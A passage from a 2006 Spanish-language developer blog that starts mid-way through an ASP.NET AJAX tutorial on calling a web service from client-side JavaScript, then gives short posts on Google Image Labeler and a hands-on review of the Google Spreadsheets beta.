De esta forma, indicamos que la clase contiene servicios que serán accedidos desde el cliente utilizando scripting (javascript). Y con esto, hemos acabado con la parte de servidor, pasamos ahora a ver el lado cliente, cómo utilizamos este servicio.

En primer lugar, añadimos dos controles a la página web (default.aspx), un botón que provocará la llamada al servidor, y una etiqueta donde iremos mostrando los resultados. El código es el siguiente:



<input id="Button1" type="button" value="¡Pulsa!" onclick="llamar();" />
<br />
<strong>Mensajes obtenidos:</strong><br />
<label id="lblMensajes"></label>

Podemos observar, ninguno de los controles introducidos son de servidor, es decir, no incluyen un runat="server". Es lógico, pues toda la interacción la vamos a realizar en cliente.


Además, vemos que el botón incluye un controlador del evento OnClick, la función llamar() de javascript. La idea es que esta función obtenga del servidor el mensaje de saludo correspondiente, y vaya añadiéndolo al contenido de la etiqueta. Basta con añadir el siguiente código a la página, dentro del correspondiente tag <script>:



function llamar()
{
AJAXWSDemo.ServicioWeb.HelloWorld(OnLlamadaFinalizada);
}

Aquí hay varios aspectos a destacar. En primer lugar, que estamos llamando al método HelloWorld desde script (en cliente) indicando la ruta completa hasta el mismo, es decir, el namespace (AJAXWSDemo) y la clase donde se encuentra (ServicioWeb). ¿Y cómo es posible esto? Por obra y gracia del control ScriptManager, que ya vimos anteriormente, que es quien ha encargado de generar un envoltorio (wrapper) apropiado para los servicios a los que vamos a acceder desde el cliente, haciéndolo así de sencillo.

Sin embargo, para que ScriptManager sea consciente de los servicios que debe gestionar, hay que indicárselo expresamente, incluyendo el siguiente código dentro del propio control. Creo que se entiende directamente, lo que hace es crear una referencia a la url que contiene los métodos a los que vamos a llamar:


<asp:ScriptManager ID="ScriptManager1" runat="server">
<Services>
<asp:ServiceReference Path="ServicioWeb.asmx" />
</Services>

</asp:ScriptManager>

...


Hecho este inciso, continuamos ahora comentando la función llamar(). Por otra parte, vemos un parámetro extraño en la llamada al método, "OnLlamadaFinalizada". Esto es así porque las llamadas a servicios deben incluir un parámetro adicional que es la función a la que el sistema notificará que ha completado la invocación al método. Hemos de recordar que las llamadas son, por defecto, asíncronas; esto quiere decir que el sistema no espera a su finalización, la llamada se realiza en background y cuando son completadas el control se transfiere a la función de notificación que hayamos elegido.

A esta misma función de retorno le llegará un parámetro, el valor devuelto desde el servicio web. Por este motivo, no es necesario obtener el valor de retorno en el momento de invocación del método remoto.

El código para la función de retorno es, en nuestro caso,


function OnLlamadaFinalizada(resultado)
{
var etiqueta = $get("lblMensajes");
etiqueta.innerHTML += resultado + "<br />";
}

En este caso, destacamos varios aspectos también. En primer lugar, como hemos comentado anteriormente, el parámetro que recibe la función es el retorno del servicio web invocado.


También puede que llame la atención la expresión $get("lblMensajes"). Se trata de un atajo que evita tener que introducir el código "document.getElementById(...)" necesario para obtener referencias a un control de la página.


El resultado final se puede ver en la siguiente captura, demostrando, además, que funciona perfectamente en Firefox:


Y para los perezosos, he dejado en http://www.snapdrive.net/files/415885/AJAXWSDemo.zip el proyecto VS2005, para que podáis jugar con él sin necesidad de teclear nada.


Actualización: si has leído hasta aquí, es posible que también te interese este otro post donde se muestra otra forma de comunicarse con el servidor utilizando ASP.NET 2.0 AJAX.
martes, 5 de septiembre de 2006
Leyendo el blog http://google.dirson.com/index.php sobre noticias de Google en español, llego a una curiosa aplicación que esta compañía ha puesto en marcha, como otras, en fase beta: Google Image Labeler.

Se trata de un juego bastante entretenido, programado con AJAX a tope (como de costumbre en la casa), que está accesible a través de la dirección http://images.google.com/imagelabeler/, aunque de momento sólo en inglés. La mecánica es muy simple: el sistema selecciona al azar un usuario que en ese momento esté conectado, que será nuestro compañero de juego, y a partir de ese momento, irán apareciendo, tanto a él como a nosotros, imágenes que debemos describir sugiriendo etiquetas (labels) que las describirían; cuando alguna de las palabras que enviamos coincide con una de las aportadas por nuestro partner, obtendremos puntos y el sistema pasará a la siguiente imagen. Y así durante 90 segundos.

Esto no pasaría de ser una pequeña curiosidad sin demasiada relevancia, si no fuera por el verdadero objeto del sistema: llenar las bases de datos de información sobre las imágenes, y parece ser que con el único fin de entrenar sus sistemas expertos de reconocimiento automático, los que, según comentan, revolucionarán los motores de búsqueda de imágenes en un plazo relativamente breve.

La idea del etiquetado humano de imágenes no es nueva, ha sido y está siendo utilizada en otros proyectos como el ESP Game, donde a día de hoy se han recogido cerca de 18 millones de etiquetas que son utilizadas en su propio buscador. Sin embargo, esto presenta una importante limitación: la actualización. Cada vez que se registra una nueva imagen es necesario que alguien la etiquete, lo cual no siempre es factible.

Conscientes de este inconveniente, los chicos de Google han debido llegar a la conclusión de que la catalogación de imágenes para facilitar las búsquedas debe ser resuelta en su totalidad de forma automática, es decir, utilizando software. Por ello están adquiriendo compañías especializadas en tratamiento digital de imágenes, haciéndose de aplicaciones existentes y, a veces, desarrollando sus propios sistemas, con objeto de disponer de software capaz de reconocer patrones en imágenes, detectar elementos, textos (no olvidemos el famoso proyecto de OCR en el que también están trabajando), personas u otros objetos en imágenes y siempre sin intervención humana.

La originalidad está en utilizar las palabras obtenidas con el juego simplemente para hacer baterías de pruebas automatizadas que les permitan afinar este software. Genial, ¿no?

Habrá quien se pregunte que cómo de fiables pueden ser las etiquetas teniendo en cuenta la diversidad y anonimato de los jugadores/colaboradores. Y, sin duda, cabe cierto margen de error, aunque pensándolo un poco, el juego está ideado para minimizar estos problemas: la elección aleatoria del compañero o el puntuar (y almacenar) las palabras coincidentes son muestras de ello.
viernes, 9 de junio de 2006
Esta mañana he recibido un correo electrónico invitándome a probar Google SpreadSheets, el último invento de los laboratorios de esta compañía. Como Googligan convencido, en cuanto he tenido ocasión, he saltado a comprobar cuánto de cierto hay en lo que se ha estado comentando en Internet durante los últimos días.

En la actualidad Google SpreadSheets se publica en forma de test limitado, es decir, se trata de una versión beta (bastante avanzada, todo sea dicho) a la que no se puede acceder sin disponer de una invitación, la cual es posible solicitar desde la misma Web. A mí me ha tardado tres o cuatro días desde el momento en que rellené el formulario de solicitud.

Vale, pero comencemos por el principio: ¿qué es Google Spreadsheets? Podríamos definirlo como una hoja de cálculo completamente on-line, una especie de Excel preparada para funcionar en un navegador, sin necesidad de descargar ni instalar software alguno, y, en principio, de uso gratuito. Pinta bien, ¿eh?

Desde el punto de vista de un usuario habitual de la hoja de cálculo de Microsoft, el primer contacto con la herramienta es impresionante. Estéticamente, muy limpio (se nota que usa Ajax, permítaseme el chiste fácil ;-). El manejo, sencillísimo, y más aún si se ha utilizado Excel, puesto que los mecanismos de interacción son muy similares a los de esta popular aplicación. La velocidad, bastante buena; en las pruebas que he realizado, con hojas de cerca de 2.500 celdas con fórmulas enrevesadillas encadenadas unas a otras, en ningún momento he notado retrasos que pudieran impedir el trabajo con ellas de forma fluida.

En cuanto a las funcionalidades, salvando la ausencia de gráficas, no he echado en falta nada de lo que utiliza habitualmente un usuario de nivel bajo y medio de Excel, entre los que nos encontramos la mayoría: fórmulas, formatos, ordenaciones, e incluso operaciones con archivos. Bien es cierto que no alcanza la gran cantidad de opciones que tiene Excel, pero desde luego, las principales sí que las incorpora.

El almacenamiento se soluciona completamente en el servidor. El usuario no tiene por qué guardar nada en su disco duro, todo quedará almacenado en su carpeta de las máquinas de Google. Respecto a esto, habrá que ver si los usuarios nos podemos acostumbrar a que nuestros archivos se encuentren guardados en Internet, lo que, para un mortal, equivale a decir "no tengo ni idea de dónde están mis ficheros". Por ello, es importante destacar que importa y exporta archivos XLS directamente y, por lo que he podido comprobar, no lo hace nada mal, incluso con fórmulas y formatos relativamente complejos.

Otro detalle que muestra el nivel del producto es su implementación de la idea de trabajo colaborativo, aspecto éste donde destaca sobre sus competidores tradicionales, al menos hasta el próximo movimiento de ficha de Microsoft. Lejos de montar una infraestructura de checkin/checkout o control de versiones, han optado por la comunicación asíncrona. En otras palabras, es perfectamente posible que varias personas se encuentren a un mismo tiempo tocando la misma hoja de cálculo, a la vez que pueden estar comentando la jugada en un pequeño chat integrado en el mismo entorno. De hecho, si una de ellas modifica el contenido de una celda, el resto de participantes verán, en pocos segundos, este cambio reflejado en la hoja sobre la que están trabajando.

Esto, que puede parecer relativamente sencillo en aplicaciones de escritorio, se complica bastante en un entorno desconectado como es la web. Es curioso, mientras se está usando mantiene una conexión activa con un servidor de Google, entiendo que será el canal de recepción de datos y notificaciones:

C:\>netstat find "google"
TCP JMA:2678 05178618550233449.spreadsheets.google.com:http ESTABLISHED


Para los ases del botón derecho del ratón, y más concretamente de la opción "Ver código fuente", sin duda es una decepción. Una página web simple, de unos 3K, que no hace más que referenciar una librería javascript almacenada en un archivo externo de unos 170k, que es en realidad la que hace la magia. Las fuentes están ahí, aunque a la vista de su contenido, deduzco que han sido 'ofuscadas' para dificultar su comprensión, y que gran parte de los procesos se llevan a cabo en servidor, que devuelve el HTML de la porción a actualizar en cada momento.

En fin, en mi opinión, una auténtica maravilla, y una nueva prueba de que Google apuesta por una nueva forma de trabajar, totalmente on-line y basada en Web, como ya lleva demostrando desde hace bastante tiempo.

Y por cierto, dado que uno de los fuertes de Google es el análisis de contenidos para la presentación de publicidad altamente dirigida, ¿aplicarán esta idea a SpreadSheets? Por ejemplo, ¿nos aconsejará entidades bancarias si estamos introduciendo en la hoja de cálculo un plan de tesorería en el que aparecen números rojos? Si estamos consultando un presupuesto de hardware recibido en formato de hoja de cálculo, ¿será capaz de recomendarnos productos similares, o incluso más económicos, que los que estén reflejados en él? La verdad es que las posibilidades son infinitas, tantas como utilidades damos a las hojas de cálculo.